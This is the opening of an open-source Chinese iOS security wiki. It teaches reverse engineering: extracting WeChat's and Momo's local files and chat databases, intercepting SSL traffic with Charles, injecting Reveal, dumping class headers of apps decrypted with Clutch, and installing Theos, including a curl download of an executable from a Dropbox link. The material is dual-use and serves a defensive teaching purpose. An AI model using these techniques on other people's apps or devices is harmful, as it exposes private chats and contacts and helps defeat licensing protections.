
        
            
                
            
        


        
        

    

    目錄

    
        
    
        	
            
                
                    
                        介绍
                    
                
                
                0
                
            
            
        

    
        	
            
                
                    
                        1 iOS逆向工程简介
                    
                
                
                1
                
            
            
            
                
    
        	
            
                
                    
                        1.1 介绍
                    
                
                
                1.1
                
            
            
        

    
        	
            
                
                    
                        1.2 iOS逆向工程的作用
                    
                
                
                1.2
                
            
            
        

    
        	
            
                
                    
                        1.3 iOS逆向工程的2种分析方法
                    
                
                
                1.3
                
            
            
        

    
        	
            
                
                    
                        1.4 iOS逆向工程用到的工具简介
                    
                
                
                1.4
                
            
            
        

    
        	
            
                
                    
                        1.5 小结
                    
                
                
                1.5
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        2 iOS文件目录及程序类型
                    
                
                
                2
                
            
            
            
                
    
        	
            
                
                    
                        2.1 iOS文件目录结构
                    
                
                
                2.1
                
            
            
        

    
        	
            
                
                    
                        2.2 iOS程序类型
                    
                
                
                2.2
                
            
            
        

    
        	
            
                
                    
                        2.3 小结
                    
                
                
                2.3
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        3 Mac上安装的工具
                    
                
                
                3
                
            
            
            
                
    
        	
            
                
                    
                        3.1 iOS文件查看工具iFunbox
                    
                
                
                3.1
                
            
            
        

    
        	
            
                
                    
                        3.2 网络流量分析工具Charles
                    
                
                
                3.2
                
            
            
        

    
        	
            
                
                    
                        3.3 SQLite Database Browser简介
                    
                
                
                3.3
                
            
            
        

    
        	
            
                
                    
                        3.4 Reveal：分析iOS UI的利器
                    
                
                
                3.4
                
            
            
        

    
        	
            
                
                    
                        3.5 使用class-dump-z获得iOS应用程序的类信息
                    
                
                
                3.5
                
            
            
        

    
        	
            
                
                    
                        3.6 Theos：越狱程序开发框架
                    
                
                
                3.6
                
            
            
        

    
        	
            
                
                    
                        3.7 IDA：强大的反汇编工具
                    
                
                
                3.7
                
            
            
        

    
        	
            
                
                    
                        3.8 Hopper: 另一款反汇编工具
                    
                
                
                3.8
                
            
            
        

    
        	
            
                
                    
                        3.9 小结
                    
                
                
                3.9
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        4 iOS设备上的工具
                    
                
                
                4
                
            
            
            
                
    
        	
            
                
                    
                        4.1 iOS设备越狱
                    
                
                
                4.1
                
            
            
        

    
        	
            
                
                    
                        4.2 搭建移动渗透测试平台
                    
                
                
                4.2
                
            
            
        

    
        	
            
                
                    
                        4.3 Clutch：iOS应用破解工具
                    
                
                
                4.3
                
            
            
        

    
        	
            
                
                    
                        4.4 GDB简介
                    
                
                
                4.4
                
            
            
        

    
        	
            
                
                    
                        4.5 Cycript简介以及绕过屏幕解锁密码
                    
                
                
                4.5
                
            
            
        

    
        	
            
                
                    
                        4.6 Snoop-it简介
                    
                
                
                4.6
                
            
            
        

    
        	
            
                
                    
                        4.7 小结
                    
                
                
                4.7
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        5 iOS应用静态分析
                    
                
                
                5
                
            
            
            
                
    
        	
            
                
                    
                        5.1 本地文件系统取证
                    
                
                
                5.1
                
            
            
        

    
        	
            
                
                    
                        5.2 本地数据存储及安全性
                    
                
                
                5.2
                
            
            
        

    
        	
            
                
                    
                        5.3 Keychain数据导出
                    
                
                
                5.3
                
            
            
        

    
        	
            
                
                    
                        5.4 使用iNalyzer进行静态分析
                    
                
                
                5.4
                
            
            
        

    
        	
            
                
                    
                        5.5 小结
                    
                
                
                5.5
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        6 iOS应用动态分析
                    
                
                
                6
                
            
            
            
                
    
        	
            
                
                    
                        6.1 分析HTTP/HTTPS网络流量
                    
                
                
                6.1
                
            
            
        

    
        	
            
                
                    
                        6.2 用Cycript进行运行时分析(Yahoo天气应用)
                    
                
                
                6.2
                
            
            
        

    
        	
            
                
                    
                        6.3 用Cycript做运行时分析的高级技巧(Yahoo天气应用)
                    
                
                
                6.3
                
            
            
        

    
        	
            
                
                    
                        6.4 用Cycript进行Method Swizzling
                    
                
                
                6.4
                
            
            
        

    
        	
            
                
                    
                        6.5 ARM和GDB基础
                    
                
                
                6.5
                
            
            
        

    
        	
            
                
                    
                        6.6 使用GDB进行运行时分析和操作
                    
                
                
                6.6
                
            
            
        

    
        	
            
                
                    
                        6.7 使用Introspy进行黑盒测试
                    
                
                
                6.7
                
            
            
        

    
        	
            
                
                    
                        6.8 使用iNalyzer进行动态分析
                    
                
                
                6.8
                
            
            
        

    
        	
            
                
                    
                        6.9 小结
                    
                
                
                6.9
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        7 iOS越狱程序编写原理
                    
                
                
                7
                
            
            
            
                
    
        	
            
                
                    
                        7.1 Mobile Substrate简介
                    
                
                
                7.1
                
            
            
        

    
        	
            
                
                    
                        7.2 Tweak编写简介
                    
                
                
                7.2
                
            
            
        

    
        	
            
                
                    
                        7.3 Tweak程序编写一般步骤
                    
                
                
                7.3
                
            
            
        

    
        	
            
                
                    
                        7.4 小结
                    
                
                
                7.4
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        8 修改某陌生人交友软件的位置信息
                    
                
                
                8
                
            
            
            
                
    
        	
            
                
                    
                        8.1 简介
                    
                
                
                8.1
                
            
            
        

    
        	
            
                
                    
                        8.2 导出并分析头文件
                    
                
                
                8.2
                
            
            
        

    
        	
            
                
                    
                        8.3 使用Logify跟踪函数调用
                    
                
                
                8.3
                
            
            
        

    
        	
            
                
                    
                        8.4 编写Tweak并安装到设备上
                    
                
                
                8.4
                
            
            
        

    
        	
            
                
                    
                        8.5 小结
                    
                
                
                8.5
                
            
            
        

    

            

            
        

    
        	
            
                
                    
                        9 本地数据和网络通信
                    
                
                
                9
                
            
            
            
                
    
        	
            
                
                    
                        9.1 本地数据分析
                    
                
                
                9.1
                
            
            
        

    
        	
            
                
                    
                        9.2 网络通信分析
                    
                
                
                9.2
                
            
            
        

    
        	
            
                
                    
                        9.3 小结
                    
                
                
                9.3
                
            
            
        

    

            

            
        

    


        
    







        
        

    
        介绍

        
            
            
                security.ios-wiki.com


作者：wufawei

来源：iossecurity



Why

iOS Security (http://security.ios-wiki.com)源于之前在我的博客翻译的关于iOS安全的一系列文章。创建iOS Security这个站点的目的就是让所有的iOS开发者都能具备一定的安全知识，能方便的学习关于iOS安全的基础知识。

深感于个人知识浅薄和有限，这里决定把文章开源，希望感兴趣的朋友帮忙修改和完善文章，增加新的章节会尤为欢迎。

希望通过大家的努力，能够让我们的iOS应用更加安全，让用户能够放心使用大家的应用。

也欢迎大家订阅iOS技术周报(http://weekly.ios-wiki.com/）和 提交好文章到iOS News（http://news.ios-wiki.com/news）

How

如果只是想提出小的修正的话，您可以给我提交 issue 。或者fork 本项目，在 draft 中进行修正后给我发pull-request。


            
            

        
    



        
        

    
        1 iOS逆向工程简介

        
            
            
                iOS逆向工程简介


            
            

        
    



        
        

    
        1.1 介绍

        
            
            
                本系列文章将对iOS逆向工程的基本流程，以及涉及到的工具进行简要的介绍。

维基百科对逆向工程的定义如下：


逆向工程（又称反向工程），是一种技术过程，即对一项目标产品进行逆向分析及研究，从而演绎并得出该产品的处理流程、组织结构、功能性能规格等设计要素，以制作出功能相近，但又不完全一样的产品。逆向工程源于商业及军事领域中的硬件分析。



需要逆向工程的原因如下：



	接口设计。由于互操作性，逆向工程被用来找出系统之间的协作协议。

	军事或商业机密。窃取敌人或竞争对手的最新研究或产品原型。

	学术／学习目的。

	去除复制保护和伪装的登录权限。

	产品分析：用于调查产品的运作方式，识别潜在的侵权行为。





写本系列文章是让开发者了解攻击者能够做的事情，“未知攻，焉知防”。目的是让开发者能够针对这些攻击、破解行为，更好的设计和编码，提供iOS应用的安全性。



#1 iOS逆向工程简介下的更多文章


            
            

        
    



        
        

    
        1.2 iOS逆向工程的作用

        
            
            
                对于iOS App开发者来说，只是完成产品的需求是远远不够的，需要考虑安全方面的问题。

对于微信、陌陌、来往、QQ、WhatsApp等IM工具，我们需要关注其在本地是否保存聊天信息、联系人; 对于电商类App，我们需要关注交易环节是否安全，网络请求是否安全；对这些关键环节的安全上的评估，就需要用到iOS逆向工程。

对于需要用户注册和登录的应用来说，用户的密码是如何在网络上传输的、在本地是否保存明文密码、聊天信息、联系人，这些都可以通过逆向工程的手段来进行分析。

iOS逆向工程，就是拿到应用的关键信息，基于这些信息的用途，可以有如下的分类；



	安全审计

	分析恶意软件

	借鉴别人的软件

	破解使用限制





安全审计

一般大公司都会有相应的安全团队，会负责各个业务的安全问题，也会对iOS App的安全性进行内部的审计和分析，及早发现和反馈，以便开发团队的同学能够及早修正问题。

分析恶意软件

这种一般是对安全特别感兴趣或者是杀毒软件公司，会对恶意软件进行分析，以便发出预警，避免用户中招。

借鉴别人的软件

有时候想了解下别人用的第3方库有哪些，甚至关键地方是如何实现的，特别是对于越狱后的某些应用，想了解其实现原理，就需要用到逆向工程。

破解使用限制

通过逆向工程，可以分析出软件使用限制所利用的机制，能够对关键的地方打补丁，破解相应的使用限制。这种在Windows平台上存在很久。比如最近有些文章，介绍如何破解Reveal的使用限制、去掉过期的弹框等文章，就用到了iOS逆向工程的相关知识。



#1 iOS逆向工程简介下的更多文章


            
            

        
    



        
        

    
        1.3 iOS逆向工程的2种分析方法

        
            
            
                对iOS应用进行逆向分析的方法可以大致分为两类：


	静态分析（static analyze）

	动态分析（dynamic analyze）



静态分析

顾名思义，静态分析法是在不执行iOS应用的情形下，对应用进行静态分析的一种方法。比如获取应用的文件系统结构，本地文件的分析、使用反汇编工具（Disassembler，比如IDA）查看内部代码，分析代码结构也是静态分析。

动态分析

动态分析法是在iOS应用的执行过程中进行动态分析的一种方法，通过调试来分析代码，获得内存的状态等等。通过动态分析法，可以在观察应用的文件、网络等。动态分析中还常使用调试器（Debugger，比如gdb）分析应用的内部结构与原理。甚至可以使用工具（比如Cycript，后面会详细介绍该工具）动态修改内存，给内存打补丁。

在进行iOS逆向工程的时候，建议两种方法都采用，通常是先静态分析下收集应用的相关信息，然后使用动态分析获得进一步的信息。灵活的使用这两种方法，可以大大提供分析效率。



#1 iOS逆向工程简介下的更多文章


            
            

        
    



        
        

    
        1.4 iOS逆向工程用到的工具简介

        
            
            
                要进行iOS逆向工程，建议掌握iOS应用的开发相关知识，相信看本文的读者应该都具备。
进行iOS逆向工程的一个关键就是工具的使用，工欲善其事，必先利其器。用好工具可以事半功倍。甚至可以做之前可能根本没想到能够做的事情。

这里介绍的工具可以分为如下几类：


	UI分析工具

	文件系统查看工具

	数据库查看工具

	网络分析工具

	逆向程序开发工具

	反汇编工具

	调试器



UI分析工具

UI分析工具是对iOS应用的UI进行分析的工具，有Reveal和PonyDebugger等。


Reveal能够在运行时调试和修改iOS应用程序。它能连接到应用程序，并允许开发者编辑各种用户界面参数，这反过来会立即反应在程序的UI上。就像用FireBug调试HTML页面一样，在不需要重写代码、重新构建和重新部署应用程序的情况下就能够调试和修改iOS用户界面。 --InfoQ



使用Reveal的效果如图：

[image: ]

使用PonyDebugger的效果如图：

[image: ]

文件系统查看工具

在iOS设备上可以安装iExplorer, iFunbox, iTool等工具，可以查看iOS应用的文件系统结构。

使用iFunbox打开陌陌的文件目录，如下图所示：

[image: ]

网络分析工具

使用Tcpdump, WireShark, Charles等工具可以对应用的网络数据进行分析。

使用Charles对网络数据包进行分析的示意图：

[image: ]

逆向程序开发工具

开发越狱程序和日常开发的iOS程序很相似，不过，越狱程序能做更强大的事情。你的设备越狱之后，你就能够hook进Apple提供的几乎所有的class，来控制iPhone/iPad的功能。 

Theos大幅简化了编写越狱程序的流程，后面会对该工具进行详细的介绍。

反汇编工具

IDA Pro是一款非常强大的反汇编工具，甚至能够将汇编代码转换成近似于源码的伪代码。

如下图所示[1]：

[image: ]

[image: ]

可以看到，基本上相当于源码。

调试器

在iOS逆向工程中，可以使用gdb来对iOS应用进行动态分析，进行单步调试，也可以使用Cycript来对iOS进行动态分析。


本文简要介绍了iOS逆向工程要用到的工具，后面的文章会对用到的工具做进一步的介绍。



#1 iOS逆向工程简介下的更多文章


            
            

        
    



        
        

    
        1.5 小结

        
            
            
                这一章节对iOS逆向工程的概念、动机、以及涉及到的工具进行简要的介绍。后面的章节会进行详细的介绍。



#1 iOS逆向工程简介下的更多文章


            
            

        
    



        
        

    
        2 iOS文件目录及程序类型

        
            
            
                iOS文件目录及程序类型


            
            

        
    



        
        

    
        2.1 iOS文件目录结构

        
            
            
                出于安全考虑，iOS系统把每个应用以及数据都放到一个沙盒（sandbox）里面，应用只能访问自己沙盒目录里面的文件、网络资源等（也有例外，比如系统通讯录、照相机、照片等能在用户授权的情况下被第三方应用访问）[1]。

请注意，使用沙盒的目的是为了防止被攻击的应用危害到系统或者其他应用，它并不能阻止应用本身被攻击，因此，开发者需要防御式的编程来避免应用被攻击。苹果官方是这样说的：


Important: The purpose of a sandbox is to limit the damage that a
compromised app can cause to the system. Sandboxes do not prevent
attacks from happening to a particular app and it is still your
responsibility to code defensively to prevent attacks. For example, if
your app does not validate user input and there is an exploitable
buffer overflow in your input-handling code, an attacker could still
hijack your app or cause it to crash. The sandbox only prevents the
hijacked app from affecting other apps and other parts of the system.



为了便于应用组织数据，每个沙盒内都有几个名字固定的子目录用来保存文件，下图是沙盒的目录结构：

[image: ]

主要有4个目录[2]：



	MyApp.app
该目录包含了应用程序本身的数据，程序打包的时候的资源文件和一些本地文件就是存放在这个目录下的。
程序的可执行程序、plist文件也在这个目录下。
这个目录不会被iTunes同步



	Documents
使用这个目录来保存关键数据。关键数据指那些应用不可再生的数据。
这个目录会被iTunes同步



	Library
用来保存一些配置文件和其他一些文件。其中使用NSUserDefaults写的设置数据都会保存到Library/Preferences目录下的一个plist文件中。Library/Caches可以用来保存可再生的数据，比如网络请求，用户需要负责删除对应文件。
这个目录（除了Library/Caches外）会被iTunes同步



	tmp
使用这个目录来保存各种应用下次启动不再需要的临时文件。当应用不再需要这些文件的时候，需要主动将其删除。（当应用不再运行的时候，系统可能会将此目录清空。）
这个目录不会被iTunes同步








获取主要目录路径的方式

沙盒目录

NSLog(@"%@",NSHomeDirectory());


MyApp.app

NSLog(@"%@",[[NSBundle mainBundle] bundlePath]);


tmp

NSLog(@"%@",NSTemporaryDirectory());


Documents

NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *docPath = [paths objectAtIndex:0];
NSLog(@"%@",docPath);


Library

NSArray *paths = NSSearchPathForDirectoriesInDomains(NSLibraryDirectory, NSUserDomainMask, YES);
NSString *libPath = [paths objectAtIndex:0];
NSLog(@"%@",libPath);




#2 iOS文件系统及程序类型下的更多文章


            
            

        
    



        
        

    
        2.2 iOS程序类型

        
            
            
                iOS程序类型分为3类：Application, Dynamic Library，后台Daemon。

在越狱的设备上才会遇到需要开发后面两种类型程序的情况。

Application

平时我们开发提交到App Store的应用即是Application，设备没有越狱的情况下，应用只能访问沙盒内存文件和数据。

Dynamic Library

Dynamic Library(动态链接库)，在其他平台很常见，比如Windows平台的DLL。苹果官方做了限制，所以在非越狱的情况下，需要提交到App Store的应用是不能包含动态链接库的，否则无法通过审核（Review）

后面要介绍的越狱程序（Tweak）开发，就是动态链接库。我们开发的大部分越狱程序，都是编译成动态链接库，然后通过越狱平台的MobileSubstrate（iOS7上叫CydiaSubstrate）来加载进入目标程序（Target），通过对目标程序的挂钩（Hook），来实现相应的功能。

后面会详细介绍越狱程序开发的原理，会对这个细节做进一步的介绍。

后台Daemon

后台Daemon类似于Windows的Service。对于Application来说，切换到Home就会暂停运行，而Daemon会在后台运行。在越狱设备上，之前用来拦截垃圾短信和电话的工具都是运行在后台的Daemon。



#2 iOS文件系统及程序类型下的更多文章


            
            

        
    



        
        

    
        2.3 小结

        
            
            
                本章简要介绍了iOS应用的文件系统结构和iOS程序类型，了解这些基础知识能够有利于后续进行文件系统相关的分析，以及编写越狱程序（Tweak）。



#2 iOS文件系统及程序类型下的更多文章


            
            

        
    



        
        

    
        3 Mac上安装的工具

        
            
            
                Mac上安装的工具


            
            

        
    



        
        

    
        3.1 iOS文件查看工具iFunbox

        
            
            
                文件系统查看工具

在iOS设备上可以安装iExplorer, iFunbox, iTool等工具，可以查看iOS应用的文件系统结构。

我们以iFunbox为例子，介绍下其用法。

下载安装

从这里下载iFunbox最新的Mac版本，然后安装。

打开iFunbox，点击左边的User Applications，然后点击你想打开的应用的图标，比如选择陌陌。打开陌陌的文件目录的示意图如下所示：

[image: ]

选择某个应用，比如打开微信目录，到Libraray\WebChatPrivate\Host下面找到关于DNS IP相关的文件，然后在对应的文件上右键点击，会出现一个选项“Copy to Mac”，能够把对应的文件复制到Mac上，然后就可以利用Mac上的工具查看这些文件了。

如下图所示：

[image: ]

需要说明一下，我的iPhone4s运行的是iOS 7.1.1，没有越狱，上面图中显示Jailed有误；最上面那个iPad是越狱过的。

它会记录你使用过的WIFI，比如其中一个以WIFI名称开头的文件：

7daysinn401.getdns2

打开7daysinn401.getdns2文件，内容如下：

[caextshort.weixin.qq.com]
cacheSecs=1800
ip=183.232.98.167
time=1399025111
[calong.weixin.qq.com]
cacheSecs=1800
ip=183.61.38.166
time=1399025111
[cashort.weixin.qq.com]
cacheSecs=1800
ip=183.232.98.167
time=1399025111
[clientip]
cacheSecs=86400000
ip=59.62.239.24
time=1399025111
...


从这个文件夹下面，可以看出微信对DNS的IP是做了缓存处理的。从另一个角度来看，你也可以说。

类似的，我们还能拷贝出存有聊天记录的DB文件，然后利用SQLite3工具来分析，这个放到SQlite3相关工具的那一节介绍。

可以看到，使用iFunbox和iTools能够很方便的把iOS设备上的文件信息拷贝出来，即使设备没有越狱，也能够拷贝出应用目录下的所有文件。
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        3.2 网络流量分析工具Charles

        
            
            
                简介

Charles是Mac下常用的对网络流量进行分析的工具，类似于Windows下的Fiddler。在开发iOS程序的时候，往往需要调试客户端和服务器的API接口，这个时候就可以用Charles，Charles能够拦截SSL请求、模拟慢速网络、支持修改网络请求包并多次发送、能够篡改Request和Response等强大的功能。下面介绍安装和使用方法。

下载安装

可以从这里下载Charles，有30天的试用期。

安装后打开Charles，试用版本会延迟10秒后加载。如下图：
[image: ]

第一次运行时会弹出如下提示，点击Grant Privileges即可。

[image: ]

然后打开菜单Proxy的Proxy Setting，设置端口为：8888。
如下图所示：

[image: ]

[image: ]

支持拦截SSL请求

根据官方的文档:

真实设备上的设置方法

如果要在真实设备上拦截SSL连接，需要安装证书，从http://charlesproxy.com/charles.crt下载即可。

下载证书之后，双击它，会有如下提示：

[image: ]

点击其中的“Always Trust”，然后输入自己的账号密码给它授权。

可以从Keychain中查看授权之后的结果：
[image: ]

模拟器上的设置方法

下载http://www.charlesproxy.com/assets/install-charles-ca-cert-for-iphone-simulator.zip，解压之后双击，就可以在模拟器上拦截SSL请求了，甚至都不用重启模拟器。




设置iOS设备的代理

首先获取运行Charles的Mac的IP地址，可以打开命令行（Terminal）输入ifconfig得到IP地址。

或者spotlight 打开 Network Utility，如下图所示：

[image: ]

然后在iOS设备的WiFi网络中设置代理，如下图：

[image: ]

确保移动设备和Mac在同一个WIFI下面。

通过Charles分析iOS设备的网络请求

按下Record按钮，或者Proxy菜单里面的Start Recording即可对iOS设备的网络请求进行监听。

Charles的功能



	拦截SSL请求

	模拟慢速网络
  菜单Proxy中的Throttle Setting可以对此进行设置

	支持修改网络请求包并多次发送

	断点功能
Charles能够断到发送请求前（篡改Request）和请求后（篡改Response）

	捕获记录控制
 可以过滤出关注的请求。菜单Proxy中的Record Setting可以对此进行设置





暂时不展开介绍这些功能，这里介绍再多都比不上自己运行几分钟的效果好。

小结

Charles还有很多强大的功能等待大家挖掘，欢迎大家使用下体验下这些功能。
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        3.3 SQLite Database Browser简介

        
            
            
                简介

SQLite，是一款轻型的数据库，是遵守ACID的关联式数据库管理系统，它的设计目标是嵌入式的，iOS 和 Android都支持。

如果有很多数据要存在本地，保存在SQLite数据库是一个很常见的做法，很多iOS应用都是这样做的。

在iOS逆向工程中，有时候需要把iOS设备中的SQLite数据库文件拷贝到Mac上，然后用工具打开，常用的有
SQLite Database Browser和SQLiteManager。

下载SQLite Database Browser

SQLite Database Browser可以从这里下载。

下载之后安装运行，如下图所示：

[image: ]

SQLite Database Browser用法

用前面介绍的工具iFunbox(如果你不知道这个工具，请阅读本系列前面的文章)从微信的目录下拷贝出一个SQLite数据库文件：

[image: ]

用SQLite Database Browser打开之后，点击Table可以得到一个下拉列表，显示所有的Table，如下图所示：

[image: ]

选择其中的Friend这个表，然后点击第一个tabDatabase structure可以查看表结构，第二个tabbrowse data可以查看保存的数据，如下图所示：

[image: ]

其中的UsrName这一列就可以用来添加好友了，比如在微信中添加好友的输入框中输入gh_62efaa4930af就可以添加李开复。

点击第三个Tab，可以输入需要执行SQL语句。

[image: ]

小结

本文简单介绍了SQLite工具SQLite Database Browser的用法。SQLiteManager也可以完成类似的功能，读者可以下载体验下这个工具。

可以看出，应用保存在iOS设备上的SQLite数据，是很容易被他人获取的，设备无需越狱。
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        3.4 Reveal：分析iOS UI的利器

        
            
            
                Reveal简介

Reveal是分析iOS应用UI的利器：


Reveal能够在运行时调试和修改iOS应用程序。它能连接到应用程序，并允许开发者编辑各种用户界面参数，这反过来会立即反应在程序的UI上。就像用FireBug调试HTML页面一样，在不需要重写代码、重新构建和重新部署应用程序的情况下就能够调试和修改iOS用户界面。--InfoQ



Reveal运行在Mac上，目前的最新版本是1.0.4，可以从这里下载，要求Mac OS X 10.8及以上，iOS 6以及以上。

现在正式版本可以下载试用30天，试用期后需要购买。有需要的话可以买一个，功能相当强大。

Reveal的功能

查看iOS应用的View层次结构

使用Reveal的效果如图：
[image: ]

图中最左侧可以看到View的名称，中间是View的3D展示效果，可以非常清楚的看到View的层次结构。

修改参数后无需编译即可看到效果

Reveal另一个非常有用的功能就是动态修改参数，无需编辑动态查看效果。如下图所示：

[image: ]

显示出UILabel和UIView的关键属性值，更重要的是，这些都可以动态修改，比如我们改成测试，如下图：
[image: ]

把其中的图片的宽度从80改成50，改之后的效果如图：

[image: ]

下图箭头所指向的对方都可以动态修改。

[image: ]

关于Reveal的更多功能，欢迎大家去探索并分享。下面介绍Reveal如何集成到iOS应用中去调试。

Reveal的3种加载方法

加载方法（1）

下载Reveal之后打开，在菜单中的Help中可以找到集成到Xcode项目的方法，这里不再赘述。 

加载方法（2）

Integrating Reveal without modifying your Xcode project
reveal: 檢視 iOS app 的 view 結構。
给出了如何不用修改Xcode工程就可以加载使用Reveal的方法。

在当前用户目录新建一个文件.lldbinit，位于~/.lldbinit，LLDB每次启动的时候都会加载这个文件。

在.lldbinit中输入如下内容：

command alias reveal_load_sim expr (void*)dlopen("/Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/libReveal.dylib", 0x2);

command alias reveal_load_dev expr (void*)dlopen([(NSString*)[(NSBundle*)[NSBundle mainBundle] pathForResource:@"libReveal" ofType:@"dylib"] cStringUsingEncoding:0x4], 0x2);

command alias reveal_start expr (void)[(NSNotificationCenter*)[NSNotificationCenter defaultCenter] postNotificationName:@"IBARevealRequestStart" object:nil];

command alias reveal_stop expr (void)[(NSNotificationCenter*)[NSNotificationCenter defaultCenter] postNotificationName:@"IBARevealRequestStop" object:nil];


上述文件创建了4个命令：

reveal_load_sim,reveal_load_dev, reveal_start 和 reveal_stop




	reveal_load_sim 这个只在iOS模拟器上有效。它从Reveal的应用程序bundle中找到并加载libReveal.dylib（请确保你把Reveal安装到了系统的Application文件夹，如果你换地方了，你修改上述的文件）。



	reveal_load_dev 这个命令在iOS设备和模拟器上都有效。不过，它需要你在Build Phase中的的Copy Bundle Resources中加上libReveal.dylib，请确保没有放到Link Binary With Libraries这个地方。



	reveal_start 这个命令发出一个通知启动Reveal Server。



	reveal_stop 这个命令发出一个通知停止Reveal Server。







请注意：只有在iOS应用发出了UIApplicationDidFinishLaunchingNotification通知之后，比如应用的delegate已经处理过application::didFinishLaunchingWithOptions:之后才能调用上面的reveal_load_*命令，然后再调用reveal_start

在设备起来之后，你就可以断下应用，在LLDB提示框中输入上述的命令了。

[image: ]

上述的过程还需要手动输入，下面介绍如何设置条件断点，使得Reveal在启动之后自动加载。

在你的应用的application:didFinishLaunchingWithOptions 中的代码出加一个断点，然后右键，选择编辑断点。

输入如下图一样的命令：

[image: ]

重新运行下应用，如果控制台输出了如下信息：

 Reveal server started.


说明Reveal已经自动成功加载。

加载方法（3）

Reveal查看任意app的高级技巧介绍了如何在越狱设备上查看任意app的技巧：


	iOS设备需要越狱，iOS6以上

	安装Reveal，越狱设备与安装Reveal的Mac在同一wifi内。

	点击菜单Help / Show Reveal Library in Finder，获取libReveal.dylib

	将libReveal.dylib上传到设备的/Library/MobileSubstrate/DynamicLibraries

	编辑并上传一个libReveal.plist，格式和/Library/MobileSubstrate/DynamicLibraries下面的其他plist类似，其中的filter的bundle写要查看的iOS App的bundle Id。
格式如下：

{ Filter = { Bundles = ( "你要查看的app的bundle Id" ); }; }



	重启iOS设备





小结

本文简要介绍了Reveal的功能和几种加载方法。欢迎大家去体验下Reveal的强大功能。最后，可以看看关于Reveal的tips:Reveal tips: Navigation。



#3 Mac上需要安装的工具下的更多文章


            
            

        
    



        
        

    
        3.5 使用class-dump-z获得iOS应用程序的类信息

        
            
            
                class-dump-z简介

class dump是一个命令行工具，它可以dummp出破解之后的iOS二进制文件的头文件信息（后面我们会介绍破解iOS应用的工具Clutch, 这个工具需要安装在iOS设备上，所以放在下一章介绍）。

这些信息与 otool -ov 命令提供的信息是一样的，但它更紧凑，更易读。

为什么要使用class-dump

你可以看到闭源应用程序，框架(framework)和软件包(bundle)的头文件，了解它内部是如何设计的。

下载与安装

可以从这里http://networkpx.googlecode.com/files/class-dump-z_0.2a.tar.gz下载。

执行如下命令解压文件并把可执行程序拷贝到/usr/bin目录：



	tar -zxvf class-dump-z_0.2a.tar.gz

	sudo cp mac_x86/class-dump-z /usr/bin/





如下图所示：  

[image: ]

现在，在命令行输入class-dump-z，你可以得到如下的提示信息：

ZPs-MBP:class-dump-z admin$ class-dump-z

Usage: class-dump-z [<options>] <filename>

where options are:

  Analysis:
    -p         Convert undeclared getters and setters into properties (propertize).
    -h proto   Hide methods which already appears in an adopted protocol.
    -h super   Hide inherited methods.
    -y <root>  Choose the sysroot. Default to the path of latest iPhoneOS SDK, or /.
    -u <arch>  Choose a specific architecture in a fat binary (e.g. armv6, armv7, etc.)

  Formatting:
    -a         Print ivar offsets
    -A         Print implementation VM addresses.
    -k         Show additional comments.
    -k -k      Show even more comments.
    -R         Show pointer declarations as int *a instead of int* a.
    -N         Keep the raw struct names (e.g. do no replace __CFArray* with CFArrayRef).
    -b         Put a space after the +/- sign (i.e. + (void)... instead of +(void)...).
    -i <file>  Read and update signature hints file.

  Filtering:
    -C <regex> Only display types with (original) name matching the RegExp (in PCRE syntax).
    -f <regex> Only display methods with (original) name matching the RegExp.
    -g         Display exported classes only.
    -X <list>  Ignore all types (except categories) with a prefix in the comma-separated list.
    -h cats    Hide categories.
    -h dogs    Hide protocols.

  Sorting:
    -S         Sort types in alphabetical order.
    -s         Sort methods in alphabetical order.
    -z         Sort methods alphabetically but put class methods and -init... first.

  Output:
    -H         Separate into header files
    -o <dir>   Put header files into this directory instead of current directory.


上面的-H 命令可以把头文件信息放到各自的文件中，-o 后面可以指定一个存放头文件的目录。

我们用这两个命令来到处应用的头文件信息。



	class-dump-z -H AppName/Payload/AppName.app/AppName   -o storeheaders





再一次提醒一下，这里的应用是用Clutch破解之后的，如果直接用class-dump-z dump从App Store下载的二进制文件，只能得到加密后的信息。

下一章 iOS设备上的工具 会详细介绍Clutch的用法

获得iOS应用程序的类信息

之前我翻译过一篇文章iOS应用程序安全(2)-获得iOS应用程序的类信息，里面分别以Apple自带的地图和从App Store下载的Yahoo天气为例，介绍了class-dump-z获得iOS应用程序的详细过程。

小结

本文简要介绍了class-dump-z的作用，下载、安装和具体用法。
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        3.6 Theos：越狱程序开发框架

        
            
            
                开发越狱程序和日常开发的iOS程序很相似，不过，越狱程序能做更强大的事情。你的设备越狱之后，你就能够hook进Apple提供的几乎所有的class，来控制iPhone/iPad的功能。 

@DHowett的Theos大幅简化了编写越狱程序的流程。DHowett介绍了如何再Mac和Linux上开发iOS越狱程序，本文将只介绍如何在Mac上开发。

本文将一步步介绍写越狱程序需要的工具，在这个过程中介绍Theos的用法和功能。

越狱程序开发需要安装的工具

第1步 安装iOS SDK

从http://developer.apple.com/devcenter/ios/index.action去下载安装最新的Xcode，里面自带有最新的iOS SDK。

第2步 设置环境变量

建议把theos安装在/opt/theos， 打开命令行然后输入

export THEOS=/opt/theos


通过在命令行执行 echo $THEOS可以看到这个变量是否正确设置。如果是这样设置，每次你打开命令行都需要重新设置一下，你也可以编辑/etc/profile文件，把上面那一行添加进去，这样不用每次打开命令行都重新设置一次。

第3步 安装Theos

在命令行中输入：

svn co http://svn.howett.net/svn/theos/trunk $THEOS


会把theos下载到Step2所设置的目录中，会提示你输入admin的密码。

第4步:下载ldid

ldid的作用是模拟给iPhone签名的流程，使得你能够在真实的设备上安装越狱的apps/hacks。

你可以在很多地方都找得到这个tool，不过DHowett在他的dropbox中给大家存了一份。

通过下面的命令下载：

curl -s http://dl.dropbox.com/u/3157793/ldid > ~/Desktop/ldid
chmod +x ~/Desktop/ldid
mv ~/Desktop/ldid $THEOS/bin/ldid


先是下载到桌面，然后改执行权限，然后移动到指定目录。

你可以尝试下看看直接下载是否ok：  

curl -s http://dl.dropbox.com/u/3157793/ldid > $THEOS/bin/ldid; chmod +x $THEOS/bin/ldid


由于伟大的墙，下载这个你需要自备梯子。

注：我把这个工具下载下来放到了http://pan.baidu.com/s/1kTHoIGZ，也可以从这里下载，然后给它添加执行权限（chmod +x ldid）并移动到$THEOS/bin/这个目录下。

